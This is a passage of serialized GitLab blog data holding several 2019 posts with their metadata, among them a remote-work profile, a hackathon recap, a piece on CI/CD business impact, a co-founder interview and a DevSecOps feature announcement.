practice of piling up mountains of data in the first place.\n\n#### What is something you advocate as a security professional, but find the most difficult to put into practice personally?\nApplying the “principle of least privilege” is more difficult than I’d like. Giving a user or service only the required amount of permissions for certain tasks is intuitively a sensible strategy, yet doing this in practice is often hampered by obscure systems or documentation. I have yet to encounter a cloud provider with a permission system that is flexible, easy to use and well documented at the same time. It’s no surprise that software engineers tend to take the shortcut of overly broad permissions in this situation, I’m afraid.\n\n#### What's your favorite security research paper or thought leadership piece?\nI’m going to pick “[Tor: The Second-Generation Onion Router](https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf),” because it lays the foundation for a system that provides accessible, secure communication for everyone to this day.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Vim or Emacs?\nVim, because I have at least basic proficiency here. I might dive into Emacs though, if I ever get tired of Linux.\n\n#### Favorite Linux distro?\nI’ve been very happy with Ubuntu, both on the server and desktop, even if they are occasionally a bit “ambitious” with their changes.\n\n#### Is a hotdog a sandwich?\nNo, the geometry is all wrong.\n\n#### Gif or Gif? (Gif or Jif?)\nI’m more concerned about people who pronounce “router” incorrectly, to be honest.\n\n#### What's been your most interesting experience while traveling?\nOther than simply encountering a new place, probably tasting dishes and/or drinks I didn’t know before. When we went to New Orleans for [GitLab Contribute](/blog/contribute-wrap-up/), I was introduced to a whole range of Cajun cuisine that I had never had, which was amazing.\n\n#### What is one food or beverage you can't live without?\nDarjeeling tea\n\n#### Who is your favorite superhero and why?\nAnyone who comes to the aid of their fellow human beings, even at great personal risk.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[7715,676,674,674],{"slug":28872,"featured":6,"template":678},"ask-gitlab-security-alexander-dietrich","content:en-us:blog:ask-gitlab-security-alexander-dietrich.yml","Ask Gitlab Security Alexander Dietrich","en-us/blog/ask-gitlab-security-alexander-dietrich.yml","en-us/blog/ask-gitlab-security-alexander-dietrich",{"_path":28878,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28879,"content":28884,"config":28890,"_id":28892,"_type":16,"title":28893,"_source":17,"_file":28894,"_stem":28895,"_extension":20},"/en-us/blog/how-remote-work-at-gitlab-enables-location-independence",{"title":28880,"description":28881,"ogTitle":28880,"ogDescription":28881,"noIndex":6,"ogImage":28190,"ogUrl":28882,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28882,"schema":28883},"How I work from anywhere (with good internet)","Sarah Daily, digital marketing programs manager and remote work advocate, shares how all-remote work at GitLab has enabled her life on the road.","https://about.gitlab.com/blog/how-remote-work-at-gitlab-enables-location-independence","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How I work from anywhere (with good internet)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Daily\"},{\"@type\":\"Person\",\"name\":\"Betsy Church\"}],\n        \"datePublished\": \"2019-06-25\",\n      }",{"title":28880,"description":28881,"authors":28885,"heroImage":28190,"date":28887,"body":28888,"category":6634,"tags":28889},[28886,28195],"Sarah Daily","2019-06-25","\n\nWe're committed to [all-remote](/company/culture/all-remote/) work at GitLab – our whole work\nphilosophy is designed around it. So we're always happy to share when one of our team members\nis taking full advantage of the flexibility that remote work affords. We chatted with [Sarah Daily](/company/team/#sdaily) about\nher life on the road:\n\n### What’s your role at GitLab, and why did you want to join the team?\n\nI’m a [digital marketing programs manager](https://handbook.gitlab.com/job-families/marketing/online-growth-manager/index.html) focusing on conversion rate optimization and analysis for our email programs and website. Previously, I was a digital marketing manager for a non-profit organization in the education industry.\n\nI'm a remote work advocate and knew about some of the companies that are 100% remote (GitLab being prominent among them).\n\nThough I had a remote job at the time I applied to GitLab, I knew eventually my passion for technology and software development would lead me elsewhere. I decided to seek GitLab directly to see if they had any open positions in their marketing department. As fate would have it, they did, so I applied immediately.\n\nThe more I learned about the company and culture, the more I fell in love. GitLab is a model for how companies should implement remote work. The culture and values are so deeply integrated in how everyone works and behaves. Everything we do and how we work is centered around being a global workforce and allows us to move at the speed of innovation.\n\n### Tell us about your traveling home office and when you started life as a digital nomad.\n\nThree years ago, my partner and I were living in an 800-square-foot apartment with daily commute jobs. We no longer wanted to live where we were, but we didn’t want to choose a random place to move to without knowing whether we were actually going to like it there.\n\nWe needed to be able to visit family and friends with little hassle, and if we lived over a 1,000 miles away then that was going to be a considerable effort and cost. Before we could make any decisions, I needed the ability to work remotely and I ended up finding a remote job with a non-profit organization that had a hybrid remote work model.\n\nOne night, my partner came home from work and made the suggestion to live in an RV. It would be cheaper to live, we could travel and live anywhere we wanted* for as long as we wanted, and we would be able to visit family and friends, all while living in the comfort of our own home.\n\n![Sarah's truck and trailer](https://about.gitlab.com/images/blogimages/sdaily-truck-and-trailer.jpg){: .shadow.medium.center}\nSarah's truck and trailer\n{: .note.text-center}\n\nAfter researching blogs, Facebook groups, and other websites, we realized not only was it actually possible, but that thousands of other people, couples, and families were doing this and had been doing it for years.\n\nBut before we could start the process, we had to downsize a lot.\n\nWe sold a car, all our furniture, and gave the rest away to Goodwill or family and friends. In March 2016, we moved the rest of our belongings into a less than 200-square-foot space and hit the road. We’ve been all over the west coast of the US and Canada.\n\nOur rig is a 40-foot travel trailer that we haul with our truck. After living and traveling in it for three years, it actually has more space than we need.\n\nMore than anything, we love the freedom of being able to pick up and leave for a new location, all while being in our home. We’ll likely continue to do this for the foreseeable future.\n\n*Criteria: Has to have good internet and an airport nearby.\n{: .note}\n\n### How has working for GitLab enabled you to chase your passion for travel?\n\nThough we’ve been full-time traveling for over three years, GitLab makes this even easier because of the focus on asynchronous work. While some companies allow their employees to work remotely, it isn’t always flexible.\n\nAt my previous job, I was expected to work at least partially in a specific time zone. This is because there was a central HQ and only some employees worked remotely full time. This created a separation and isolation for remote employees. It made us feel like we weren’t always involved in meetings and conversations that happened at HQ.\n\nWith the asynchronous model, I don't have to worry about when I'm working because all my colleagues live in different time zones. This gives me the freedom to design my day around my peak productive hours and also have time to take care of general life stuff (appointments, house chores, etc.)\n\n![Sarah fishing in Grand Teton National Park, Wyoming](https://about.gitlab.com/images/blogimages/sarah-fishing-grand-teton-national-park-wy.jpg){: .shadow.medium.center}\nSarah fishing in Grand Teton National Park, Wyoming\n{: .note.text-center}\n\n### What makes GitLab unique?\n\nIt is so refreshing to work at GitLab. The culture really enables you to be the best version of yourself both as an employee and a human being outside of work. Everyone here fully embraces our ideals and values and it makes contributing a pleasure.\n\n>Everything we do and how we work is centered around being a global workforce and allows us to move at the speed of innovation\n\nYou really feel like you make a difference each day, [no matter how small or boring](https://handbook.gitlab.com/handbook/values/#boring-solutions).\n\nBut I think the biggest difference between GitLab and other companies I’ve worked for is the [transparency](https://handbook.gitlab.com/handbook/values/#transparency). By being transparent with our employees, customers, and community, we enable everyone to fall in love with the product and vision, and contribute to making it better every day.\n\nIt truly becomes a shared goal and I think that’s something that is missing from most company cultures. If you cannot enable everyone to have a say through transparency, you bottleneck the entire company for everyone.\n\n\n\nLearn more about [all-remote](/company/culture/all-remote/) work and [how it works at GitLab](/company/culture/all-remote/tips/#how-it-works-at-gitlab).\n\nWant to join the team? [Browse our vacancies](/jobs/).\n",[754,676,3798],{"slug":28891,"featured":6,"template":678},"how-remote-work-at-gitlab-enables-location-independence","content:en-us:blog:how-remote-work-at-gitlab-enables-location-independence.yml","How Remote Work At Gitlab Enables Location Independence","en-us/blog/how-remote-work-at-gitlab-enables-location-independence.yml","en-us/blog/how-remote-work-at-gitlab-enables-location-independence",{"_path":28897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28898,"content":28903,"config":28908,"_id":28910,"_type":16,"title":28911,"_source":17,"_file":28912,"_stem":28913,"_extension":20},"/en-us/blog/q2-hackathon-recap",{"title":28899,"description":28900,"ogTitle":28899,"ogDescription":28900,"noIndex":6,"ogImage":19778,"ogUrl":28901,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28901,"schema":28902},"What went down at the Q2'2019 GitLab Hackathon","Here's a recap of GitLab community accomplishments during the Hackathon on May 29-30.","https://about.gitlab.com/blog/q2-hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What went down at the Q2'2019 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-06-24\",\n      }",{"title":28899,"description":28900,"authors":28904,"heroImage":19778,"date":28905,"body":28906,"category":813,"tags":28907},[21623],"2019-06-24","\n\nThe GitLab community gathered on May 29-30 for the Q2 Hackathon, and I was again excited to see new contributors participating. We also had more people joining the tutorial sessions and watching the recordings on [the Hackathon playlist](https://www.youtube.com/playlist?list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh). I was surprised when one of the community members told me he joined the kickoff session when it was past 1am his time!\n\n![Hackathon playlist](https://about.gitlab.com/images/blogimages/Hackathon_playlist.png){: .shadow.medium.center}\n\n## So what did we accomplish?\n\nEven though the Hackathon was during a holiday week in many countries, [44 merge requests (MRs)](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/18) were submitted and more than 30 of these MRs were merged within two weeks of the event. One of the things we did during this recent Hackathon was to maintain [a list of suggested issues](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/17#suggested-issues-list), and one of the issues was picked up shortly after it was discussed during [the GitLab Monitor tutorial session](https://www.youtube.com/watch?v=mm_8wVjn808&list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh&index=3&t=0s). Now, that's what I call just-in-time hacking.\n\n## Hackathon prizes\n\nSimilar to past events, everyone who had MRs merged will receive a token of our appreciation for their contribution. During the Q2 Hackathon, [18 people](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/20) had their MRs merged and we decided to award a second place prize along with the grand prize based on the number of MRs merged. I'm happy to announce that we have a tie for the second place with [Michel Engelen](https://gitlab.com/michel.engelen) and [Marc Schwede](https://gitlab.com/schwedenmut) who both had three MRs merged. The grand prize winner goes to [Marcel Amirault](https://gitlab.com/Ravlen) (a former [MVP](/community/mvp/)), with nine merged MRs.\n\nThanks and congratulations to everyone!\n\n## When is the next Hackathon?\n\nSome of the feedback I received was a suggestion to release future Hackathon dates earlier, so I'm happy to announce that the Q3 Hackathon will take place on August 28-29. It is already advertised on [the Hackathon page](/community/hackathon/) with a new countdown clock. Please look out for more announcements as we get closer to the next Hackathon date. Also, if you have any suggestions for the Q3 Hackathon please feel free to bring them to [the GitLab Contributors Gitter](https://gitter.im/gitlabhq/contributors).\n\n![Q3 Hackathon date](https://about.gitlab.com/images/blogimages/Q3_hackathon_date.png){: .shadow.medium.center}\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815],{"slug":28909,"featured":6,"template":678},"q2-hackathon-recap","content:en-us:blog:q2-hackathon-recap.yml","Q2 Hackathon Recap","en-us/blog/q2-hackathon-recap.yml","en-us/blog/q2-hackathon-recap",{"_path":28915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28916,"content":28921,"config":28926,"_id":28928,"_type":16,"title":28929,"_source":17,"_file":28930,"_stem":28931,"_extension":20},"/en-us/blog/business-impact-ci-cd",{"title":28917,"description":28918,"ogTitle":28917,"ogDescription":28918,"noIndex":6,"ogImage":28827,"ogUrl":28919,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28919,"schema":28920},"The business impact of CI/CD","How a good CI/CD strategy generates revenue and keeps developers happy.","https://about.gitlab.com/blog/business-impact-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The business impact of CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"},{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2019-06-21\",\n      }",{"title":28917,"description":28918,"authors":28922,"heroImage":28827,"date":28923,"body":28924,"category":8943,"tags":28925},[18462,16962],"2019-06-21","\n\n[Continuous integration and delivery](/solutions/continuous-integration/) helps [DevOps](/topics/devops/) teams ship higher quality software, faster. But is all [CI/CD](/topics/ci-cd/) created equal? What does successful CI/CD implementation look like and how do you know you’re on the right track?\n\nIn this four-part series, we talk about modernizing your CI/CD: Challenges, impact, outcomes, and solutions. In [part one](/blog/modernize-your-ci-cd/), we focused on common CI/CD challenges. Today, we’ll talk about the revenue impact of a poor or non-existent CI/CD strategy.\n\nIf these problems hit a little too close to home, stay tuned for part three where we dive deeper into what organizations gain when they implement better CI/CD.\n\n## What are the business impacts of bad CI/CD?\n\n### 1. A large portion of IT budget is spent on undifferentiated engineering\n\nOpportunity costs play a much larger role in the development process than we realize. Organizations can only afford so many engineers at one time, and systems that require extensive maintenance means fewer engineers are working on revenue-generating projects. This will lead to slower innovation and slower growth in the long term. Undifferentiated engineering means too many individuals are having to focus on one thing – maintenance.\n\n### 2. Delayed (and even unrealized) revenue\n\nThis is the impact of lost opportunity costs. When there are too many dependencies, too many handoffs, and too many manual tasks, it causes delays between when code is written and when the business gets value from that code. In worst cases, code is written and the business never gets any value from it at all. Code can sit in limbo waiting for others to manually test it, and by the time it’s finally reviewed it’s already irrelevant. The opportunity cost essentially doubles: Engineers were paid to work on code that never deployed, and the business loses out on revenue the code could have generated.\n\n### 3. Lower developer productivity, lower developer happiness, and less reliable software\n\nDowntime = lost revenue. To avoid that dreaded downtime, developers are spending time working on infrastructure and configuration, and they’re also not spending that time delivering business logic. In both cases, they’re being less productive and working outside of their core competencies. Developer hiring and retention will inevitably suffer. Uptime and resiliency are also affected because people who aren’t domain experts are put in charge of determining infrastructure. It’s a self-fulfilling prophecy.\n\n## What does it look like if a magic wand were to solve it today?\n\n### 1. More engineers are working on the app instead of maintenance\n\nThe organization has the right amount of developers devoted to driving business value and spends more time on innovation instead of undifferentiated heavy lifting. Less of the budget is spent on activities that don't generate revenue.\n\n### 2. Developers see their code in production quickly\n\nInfrastructure and deployment are [fully automated](https://docs.gitlab.com/ee/topics/autodevops/). Everyone loves to see the output of their work, developers especially, and the business gets to see the benefits of this code right away. Deploying smaller chunks of code is less risky when developers can take advantage of test automation, so they have less overhead and coordination with a QA team forced to test manually.\n\n### 3. Developers are focused on solving business problems\n\nCode is written to be environment and cloud agnostic. Development teams own the uptime of their own services, but they are fully supported by the ops team. Ops owns the infrastructure, dev owns the service, and both teams can work according to their strengths.\n\nSolving these problems doesn’t require waving a wand or any magic at all. Modernizing your architecture and embracing CI/CD is what other companies are doing to release better software, faster. When organizations implement CI/CD best practices, they get the added benefit of generating more revenue in the long run.\n\nSo what makes “good” CI/CD? We invite you to compare GitLab CI/CD to other CI tools and see why we were rated #1 in the Forrester CI Wave™.\n\n[Explore GitLab CI/CD](/solutions/continuous-integration/)\n{: .alert .alert-gitlab-purple .text-center}\n\nPhoto by [Jungwoo Hong](https://unsplash.com/photos/cYUMaCqMYvI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/arrow?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,110,1444],{"slug":28927,"featured":6,"template":678},"business-impact-ci-cd","content:en-us:blog:business-impact-ci-cd.yml","Business Impact Ci Cd","en-us/blog/business-impact-ci-cd.yml","en-us/blog/business-impact-ci-cd",{"_path":28933,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28934,"content":28940,"config":28945,"_id":28947,"_type":16,"title":28948,"_source":17,"_file":28949,"_stem":28950,"_extension":20},"/en-us/blog/cofounder-relations",{"title":28935,"description":28936,"ogTitle":28935,"ogDescription":28936,"noIndex":6,"ogImage":28937,"ogUrl":28938,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28938,"schema":28939},"Co-founders: Key conversations build lasting relationships","Our CEO sits down with leadership psychologist Banu Hantal to discuss his relationship with GitLab co-founder Dmitriy Zaporozhets.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680642/Blog/Hero%20Images/cofounders_phone.jpg","https://about.gitlab.com/blog/cofounder-relations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The secret to an enduring co-founder relationship? Have those crucial conversations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-06-21\",\n      }",{"title":28941,"description":28936,"authors":28942,"heroImage":28937,"date":28923,"body":28943,"category":299,"tags":28944},"The secret to an enduring co-founder relationship? Have those crucial conversations",[17272],"\n\nIn the latest installment of our [Pick Your Brain](/blog/tags.html#pick-your-brain) series, leadership psychologist [Banu Hantal](https://www.banuhantal.com/) interviews our CEO [Sid Sijbrandij](/company/team/#sytses) about his relationship with co-founder and engineering fellow [Dmitriy Zaporozhets](/company/team/#dzaporozhets). In their discussion, Sid shares GitLab’s origin story and talks about how transparent communication with Dmitriy helps keep their partnership strong.\n\n## The beginning of GitLab\n\nDmitriy and Sid’s partnership started in the same place as most modern-day relationships: online. Dmitriy started GitLab while he was working elsewhere, and within a year of GitLab’s launch, 300 people had contributed code.\n\nSid saw that GitLab had potential as a service and started GitLab.com independently of Dmitriy. Sid didn’t need Dmitriy’s permission to do this, because [GitLab was (and partially remains) open source](/blog/gitlab-is-open-core-github-is-closed-source/), but reached out to Dmitriy to let him know about the next iteration of the project. Dmitriy was gracious and celebrated the fact that Sid was expanding the impact of GitLab.\n\nFor about a year, Sid invested in building GitLab.com while also working as a consultant until Dmitriy posted a tweet saying, “I want to work on GitLab full time.” That tweet changed GitLab’s story.\n\n“It was quite unusual to post that to the entire world. He was employed and everything,” says Sid. “I emailed Dmitriy and I said ‘Hey, I saw your tweet, how much do you want to earn to start working on GitLab?’”\n\nBy this time, there were a few big companies that were using GitLab.com and they were asking Sid to add new features to the product. Once Dmitriy came on board, it was possible to build those features quicker.\n\n“I went to the local Western Union money office, and when I said I wanted to wire money from the Netherlands to the Ukraine, they were like, ‘Do you know this person or is this someone you met over the internet?’”\n\n“You didn’t even know what Dmitriy looked like?!” exclaims Banu.\n\n“At that point my mental image of Dmitriy was like a pink mob boss because that was his avatar,” says Sid, but that didn’t last for long. They finally met in person in Krakow shortly after making plans to commit their efforts to GitLab full time.\n\n## Communication makes for happy co-founders\n\n\"Do you think having a mostly remote relationship is an advantage or disadvantage?\" asks Banu.\n\n\"I don't think it matters that much,\" says Sid. \"I think you do the same things, and you've got to make sure there's regular communication. To this day we have a call every single week. When there’s something important he gets a heads up so he doesn’t feel misinformed.\"\n\nIf there is an issue that is clearly contentious, Sid says, they put all the information on the table and discuss the problem directly.\n\n“I think surprises are really bad. You want to make sure if there’s something important that you get a heads up, and that there is a regular cadence of communication.”\n\nThough Dmitriy and Sid rarely get the chance to interact in person today, there is very little conflict in their relationship.\n\n## What to do when one co-founder is the CEO\n\n“What you don’t want is the [Peter Principle](https://en.wikipedia.org/wiki/Peter_principle), where the only way for an engineer to advance is to become a manager,” says Sid. “And then, oftentimes, you lose a great engineer and get a bad manager.”\n\nSo, they elected to structure GitLab the company so there are more leadership opportunities for engineers by offering a dual-career track. While Sid is co-founder and CEO of the company, Dmitriy is a co-founder and engineering fellow. A fellowship offers a path to advancement for engineers that does not involve people management.\n\nThough GitLab was first built as an alternative to GitHub, it has since expanded its technical capabilities ten-fold, explains Sid. In fact, it was Dmitriy that first built the [CI solution](/solutions/continuous-integration/) and continuous testing framework which is a core component to our product today.\n\n“I was like, he can do whatever he wants – he’s a co-founder and so far his hunches pay off. At a certain point someone contributed to that and then they joined the company and said, 'Let’s integrate the two products.' First Dmitriy told him he was wrong, and then together they came to me and I told them they were wrong, and we ended up doing it and it was the best thing that ever happened to GitLab.”\n\n“How would you describe your relationship with Dmitriy?” asks Banu.\n\nThere are three dimensions to the partnership between Sid and Dmitriy. They are co-founders, there is a hierarchical relationship with Sid as CEO, and of course, a friendship.\n\n“I think it’s frequently better to fall in love with each other’s work and then build a relationship based on that, rather than fall in love with the person and then try to build a business,” says Sid. “Friendships based on business tend to last longer than businesses based on friendships.”\n\nWatch the full conversation between Sid and Banu here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/gpQKtSKMzkI?start=6\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPhoto by [Pavan Trikutam](https://unsplash.com/@ptrikutam) on [Unsplash](https://unsplash.com/photos/71CjSSB83Wo)\n{: .note}\n",[676,815,2368],{"slug":28946,"featured":6,"template":678},"cofounder-relations","content:en-us:blog:cofounder-relations.yml","Cofounder Relations","en-us/blog/cofounder-relations.yml","en-us/blog/cofounder-relations",{"_path":28952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28953,"content":28959,"config":28965,"_id":28967,"_type":16,"title":28968,"_source":17,"_file":28969,"_stem":28970,"_extension":20},"/en-us/blog/announcing-gitlab-devsecops",{"title":28954,"description":28955,"ogTitle":28954,"ogDescription":28955,"noIndex":6,"ogImage":28956,"ogUrl":28957,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28957,"schema":28958},"Announcing GitLab for DevSecOps","GitLab brings development, security, and operations into a single application.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671668/Blog/Hero%20Images/integrated.jpg","https://about.gitlab.com/blog/announcing-gitlab-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing GitLab for DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2019-06-20\",\n      }",{"title":28954,"description":28955,"authors":28960,"heroImage":28956,"date":28962,"body":28963,"category":299,"tags":28964},[28961],"Erica Lindberg","2019-06-20","\n\n[DevOps](/topics/devops/) adoption continues to mature, and as organizations get better at breaking down silos in the development and delivery process to ship software faster, security is moving to the forefront. In fact, [Forrester predicted that 2019 would be the year of security](https://www.forrester.com/report/Predictions+2019+DevOps/-/E-RES144579): “Many organizations have succeeded in automating continuous release and deployment for some applications but face increasing risk from lack of governance and fragmented toolchains.”\n\n[DevSecOps](/topics/devsecops/) is the natural next iteration of DevOps and today we are excited to announce that we are bringing developers, operations professionals, and the security team together in the first single application for the entire DevSecOps lifecycle. Building upon the [security features](/pricing/feature-comparison/) we’ve added over the past 12 months (SAST, DAST, dependency scanning, and container scanning), we’ve also released Auto Remediation, Security Dashboards, and will release [Security Approvals](https://gitlab.com/gitlab-org/gitlab-ee/issues/9928) in 12.1, creating an application with security and compliance built in. Additionally, we’ve expanded our operations capabilities: In addition to our Kubernetes-native integrations and multicloud deployment support, we’ve added [Feature Flags](/direction/release/feature_flags/), an [Operations Dashboard](https://docs.gitlab.com/ee/user/operations_dashboard/), and will release [Incident Management](/direction/service_management/incident_management/) in 12.1.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/zRUwU6ZE-QA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWith GitLab 12.0, releasing on June 22, we continue to support DevSecOps with the addition of Visual Review Tools, project dependency list, and Merge Trains. As our CEO, [Sid Sijbrandij](/company/team/#sytses), says, “GitLab 12.0 marks a key step in our journey to create an inclusive approach to DevSecOps.” And users are already seeing the benefits:\n\n“We already have a frontend team, an SDK and native app team, an SRE team, and a services team all collaborating on development, security, and operations in GitLab,” said Cillian Dwyer, site reliability engineer, Glympse. “Because we're together, we're able to collaborate and ship faster.”\n\n“As a project, we’re excited to see all of the updates GitLab has made. GitLab makes it easy for us to work on community contributions and CI in general,” said Eduardo Silva, maintainer of [Fluent Bit](https://fluentbit.io/) (a Fluentd sub-project), the cloud native, open source logging solution to unify data collection and consumption.\n\n## DevSecOps in a single application\n\nThe [advantages of a single application](/handbook/product/single-application/) are numerous: A single sign-on eliminates the need to request access to each separate tool, context switching is reduced which improves cycle time, and work is tracked in one place so you don’t have to do detective work to find the information you need. According to Forrester’s [Manage Your Toolchain Before It Manages You report](/resources/whitepaper-forrester-manage-your-toolchain/), over 40% of enterprises anticipate improved quality, security, and developer productivity by using an out-of-the-box solution. For security professionals, this means that balancing velocity with security is possible.\n\nSecurity has traditionally been the “final hurdle” in the development lifecycle, tacked on at the end and often reviewed long after the developer committed their code. When security is separate from the DevOps workflow, it becomes a potential bottleneck to delivery. DevSecOps aims to integrate security best practices in the DevOps workflow to ensure every piece of code is tested upon commit. GitLab takes that a step further by building [security capabilities](/direction/secure/#auto-remediation) into the [CI/CD workflow](/topics/ci-cd/), empowering developers to identify vulnerabilities and remove them early, and by providing the security team with their own dashboard to view items not resolved by the developers.\n\n![GitLab DevSecOps diagram](https://about.gitlab.com/images/secure/security-diagram.svg){: .medium.center}\n\nGitLab integrates and automates security into the CI/CD pipeline.\n{: .note.text-center}\n\nThe approach is to support decision makers with actionable tools that make it simpler to take the right action and learn from it. Instead of security features automatically blocking a pipeline or preventing a new version from being released to production, users can interact with the tool and perform a risk assessment based on the information provided. When triaging vulnerabilities, users can confirm by creating an issue to solve the problem or dismiss them in the case of false positives.\n\n### Secure features in GitLab\n\nWe started our DevSecOps journey by empowering developers to spot potential vulnerabilities while coding by embedding [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) and [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/), [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) into the CI/CD pipeline.\n\n![GitLab static application security testing feature](https://about.gitlab.com/images/secure/sast.png){: .shadow.medium.center}\n\nDetected vulnerabilities are shown directly in the merge request.\n{: .note.text-center}\n\nSAST scans the application source code and binaries to spot potential vulnerabilities before deployment, and DAST analyzes your running web application for runtime vulnerabilities and runs live attacks against the review app. Information is shown directly in the merge request and results are sorted by the priority of the vulnerability.\n\nLikewise, Dependency Scanning and Container Scanning are built into GitLab CI/CD and available as part of [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) to provide security by default. Container Scanning runs a security scan to ensure your environment does not have any known vulnerability. Dependency scanning analyzes external dependencies (e.g. Ruby gem libraries), alerting the developer if vulnerable dependencies need updating. Results are shown in both the merge request and pipeline views.\n\n> “Having automated security scans built into GitLab merge requests spanning across the entire DevOps lifecycle go together perfectly with Rancher and K3s. Our joint customers have more confidence that new vulnerabilities are not being introduced into their code before, during and after deployment.” - Shannon Williams, co-founder at Rancher\n\nThe next iteration of our security journey included making GitLab a viable product for the security team by automating what can be automated and ensuring security teams have the view they need to understand the current security status of their applications.\n\n![GitLab Security Dashboard](https://about.gitlab.com/images/secure/security-dashboard.png){: .shadow.medium.center}\nThe group-level Security Dashboard in GitLab gives an overview of vulnerabilities for all projects within the group and sub-groups.\n{: .note.text-center}\n\nThe [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) is available at both the group and product level and can be used as a primary tool for security teams. In addition to providing an overview of security status, the Security Dashboard can be used to start a remediation process and provides data visualizations for easy consumption of performance information.\n\nFinally, we are rapidly iterating on Auto Remediation to automate vulnerability fixes. Auto Remediation aims to automate vulnerability solution flow, and automatically create a fix. The fix is then tested, and if it passes all the tests already defined for the application, it is deployed to production. GitLab can then monitor performances of the deployed app, and revert all the changes in case performances are decreasing dramatically, warning the user about the entire process and reducing the need for manual actions. You can [learn more about Auto Remediation and our progress here](https://gitlab.com/groups/gitlab-org/-/epics/759).\n\n> \"By adding automated security processes into code delivery, GitLab is furthering productivity by allowing organizations to focus on getting their applications to market not only quickly but securely. We look forward to continuing to work with GitLab as they build out more capabilities in their application, and help companies using GitLab further their multicloud strategy.\" - Bassam Tabbara, CEO of Upbound\n\nOverall, with security automated throughout the developer workflow and DevSecOps delivered in a single application, we believe companies will continue to advance the way they deliver code, shortening release cycles and focusing on the innovation they will bring to market. For more information on what shipped with 12.0, watch out for the release post on June 22.\n\nCover image by [Katie Burkhart](https://unsplash.com/@katieanalyzes) on [Unsplash](https://unsplash.com/photos/ks_e5Rf-Cn0)\n{: .note}\n",[534,943],{"slug":28966,"featured":6,"template":678},"announcing-gitlab-devsecops","content:en-us:blog:announcing-gitlab-devsecops.yml","Announcing Gitlab Devsecops","en-us/blog/announcing-gitlab-devsecops.yml","en-us/blog/announcing-gitlab-devsecops",{"_path":28972,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28973,"content":28979,"config":28983,"_id":28985,"_type":16,"title":28986,"_source":17,"_file":28987,"_stem":28988,"_extension":20},"/en-us/blog/issue-labels-can-now-be-scoped",{"title":28974,"description":28975,"ogTitle":28974,"ogDescription":28975,"noIndex":6,"ogImage":28976,"ogUrl":28977,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28977,"schema":28978},"Issue labels can now be scoped!","A small change with a huge impact: Scoped Labels can help teams customize their workflow and speed up delivery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679729/Blog/Hero%20Images/scopedlabels.jpg","https://about.gitlab.com/blog/issue-labels-can-now-be-scoped","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Issue labels can now be scoped!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-06-20\",\n      